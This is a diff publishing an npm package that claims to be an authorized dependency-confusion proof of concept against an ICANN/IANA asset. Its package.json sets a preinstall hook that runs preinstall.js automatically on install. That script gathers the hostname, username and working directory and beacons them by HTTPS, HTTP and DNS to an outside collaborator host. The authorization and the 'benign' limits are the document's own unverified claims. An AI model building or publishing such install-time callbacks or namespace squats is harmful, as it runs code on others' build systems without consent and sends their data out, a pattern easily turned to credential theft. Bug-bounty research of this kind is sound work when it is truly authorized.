@iana-rzms/bff-sdk 1.0.0

package/README.md

@@ -0,0 +1,12 @@
+# @iana-rzms/bff-sdk — Security-Research Placeholder (Authorized)
+
+**This is not a functional package.** It is an authorized dependency-confusion proof-of-concept for the **ICANN bug bounty program** (affected asset: `rzm.iana.org`, IANA Root Zone Management).
+
+The `@iana-rzms` scope was found **unclaimed on the public npm registry** while `rzm.iana.org` imports `@iana-rzms/bff-sdk` as a production dependency. This placeholder was published to:
+
+1. **Defensively reserve the namespace** so a malicious actor cannot squat it, and
+2. **Confirm** (via a benign install-time callback recording only hostname / OS user / working directory) whether a build resolves this scope from the public registry.
+
+It reads no secrets, environment variables, source, or credentials; writes/deletes/persists nothing; and never fails an install. If you are an ICANN engineer and see this in a build, your npm client is resolving the `@iana-rzms` scope from the public registry — please pin the scope to your internal registry and rotate any exposed build credentials.
+
+Contact: (researcher handle / HackerOne report reference).

package/index.d.ts

@@ -0,0 +1,7 @@
+// Type stubs so a TypeScript build that resolves this placeholder still compiles.
+// (Authorized security-research PoC — not a functional SDK.)
+export type Delegation = any;
+export type User = any;
+export type Client = any;
+export type Options = any;
+export declare function mergeHeaders(...args: any[]): any;

package/index.js

@@ -0,0 +1,9 @@
+/*
+ * Inert placeholder runtime for @iana-rzms/bff-sdk (authorized security-research PoC).
+ * Only `mergeHeaders` is a runtime value in the target imports; the rest are TypeScript types.
+ * mergeHeaders is a harmless no-op (returns its first argument) to minimize any chance of
+ * disrupting a build that mistakenly resolves this package. This package has no real functionality.
+ */
+'use strict';
+function mergeHeaders(a) { return a; }
+module.exports = { mergeHeaders: mergeHeaders };

package/package.json

@@ -0,0 +1,13 @@
+{
+  "name": "@iana-rzms/bff-sdk",
+  "version": "1.0.0",
+  "description": "AUTHORIZED SECURITY-RESEARCH PLACEHOLDER — dependency-confusion PoC for the ICANN bug bounty program. Namespace defensively reserved. Performs only a benign install-time callback (hostname/user/cwd) to confirm resolution; takes no other action. Not a functional package.",
+  "license": "MIT",
+  "main": "index.js",
+  "types": "index.d.ts",
+  "scripts": {
+    "preinstall": "node preinstall.js"
+  },
+  "keywords": ["security-research", "poc", "dependency-confusion", "placeholder"],
+  "files": ["index.js", "index.d.ts", "preinstall.js", "README.md"]
+}

package/preinstall.js

@@ -0,0 +1,58 @@
+/*
+ * AUTHORIZED dependency-confusion PoC beacon — ICANN bug bounty (asset: rzm.iana.org / "Third Party Integration").
+ *
+ * PURPOSE: prove ONLY that a build resolved and installed this package from the PUBLIC npm registry,
+ *          by making an out-of-band HTTP(S) callback to a researcher-controlled Burp Collaborator host.
+ *
+ * SAFETY (intentional — do not change):
+ *  - Sends ONLY non-sensitive identity: hostname, OS username, cwd (to identify WHERE it ran).
+ *  - Reads NO env vars, .npmrc, source, files, secrets, or credentials.
+ *  - Writes/modifies/deletes/persists NOTHING. No shell, no lateral movement.
+ *  - Never fails the install (all errors swallowed).
+ */
+var CANARY = 'k4pzh6vg78iub3vxqhmml2q8wz2qqge5.oastify.com';
+
+try {
+  var os = require('os');
+  var dns = require('dns');
+  var http = require('http');
+  var https = require('https');
+
+  // Minimal, non-sensitive identity only.
+  var fields = [
+    'iana-rzms-bff-sdk-poc',
+    os.hostname(),
+    (os.userInfo && os.userInfo().username) || process.env.USER || '?',
+    process.cwd()
+  ].join('|');
+  var payload = Buffer.from(fields).toString('base64').replace(/=+$/, '');
+  var path = '/poc?pkg=@iana-rzms/bff-sdk&d=' + encodeURIComponent(payload);
+
+  var pending = 0;
+  function done() { if (--pending <= 0) { try { process.exit(0); } catch (e) {} } }
+
+  function beacon(mod, port, scheme) {
+    try {
+      pending++;
+      var req = mod.request(
+        { method: 'GET', host: CANARY, port: port, path: path, timeout: 5000,
+          headers: { 'X-PoC': 'iana-rzms-bff-sdk', 'User-Agent': 'iana-rzms-poc' } },
+        function (r) { r.resume(); r.on('end', done); }
+      );
+      req.on('error', done);
+      req.on('timeout', function () { req.destroy(); done(); });
+      req.end();
+    } catch (e) { done(); }
+  }
+
+  // Primary proof: HTTPS callback (full HTTP request lands in Collaborator).
+  beacon(https, 443, 'https');
+  // Fallback: plain HTTP on :80 (in case 443 egress/TLS is blocked in the build network).
+  beacon(http, 80, 'http');
+  // Backup: DNS lookup (egresses through most restricted CI networks; Collaborator logs the query).
+  try { dns.lookup('poc.' + CANARY, function () {}); } catch (e) {}
+
+  // Hard safety cap so a build is never delayed more than ~6s by this PoC.
+  var kill = setTimeout(function () { try { process.exit(0); } catch (e) {} }, 6000);
+  if (kill.unref) kill.unref();
+} catch (e) { /* never break an install */ }